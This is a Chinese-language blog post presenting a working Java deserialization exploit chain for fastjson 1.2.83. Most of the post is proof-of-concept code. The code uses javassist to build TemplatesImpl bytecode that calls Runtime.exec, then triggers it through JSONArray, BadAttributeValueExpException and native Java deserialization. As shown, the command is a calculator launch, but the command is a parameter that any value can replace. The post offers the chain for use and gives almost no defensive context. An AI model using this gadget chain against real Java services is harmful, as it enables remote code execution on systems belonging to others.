fastjson1.2.83反序列化漏洞

wh0am1·

已于 2023-07-13 10:57:41 修改

阅读量7.6k

点赞数 2

分类专栏：漏洞挖掘 java 文章标签： java fastjson

于 2023-07-13 10:13:21 首次发布

本文链接：https://blog.csdn.net/qq_44223394/article/details/131696371

版权

漏洞挖掘同时被 2 个专栏收录

4 篇文章 0 订阅

订阅专栏

java

3 篇文章 0 订阅

订阅专栏

该文章展示了如何利用Fastjson库的反序列化漏洞执行命令。通过创建特定的类和构造函数，注入可执行命令到对象中，然后在Windows和Linux系统上分别触发不同的命令执行，如calc.exe和open-nautilus。文章还提到了使用ObjectInputStream和ObjectOutputStream进行序列化和反序列化操作来触发攻击。

摘要由CSDN通过智能技术生成

序列化学习：https://www.cnpanda.net/sec/893.html
反序列化学习：https://www.cnpanda.net/sec/928.html

pom.xml

<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.83</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.27.0-GA</version>
    </dependency>

POC

import com.alibaba.fastjson.JSONArray;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        String os = System.getProperty("os.name");
        if (os != null && os.toLowerCase().startsWith("windows")) {
            //win
            setValue(templates, "_bytecodes", new byte[][]{genPayload("calc.exe")});
        } else if (os != null && os.toLowerCase().startsWith("linux")) {
            //linux
            setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
        }

        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd, "val", jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates, bd);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();

    }

参考：
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/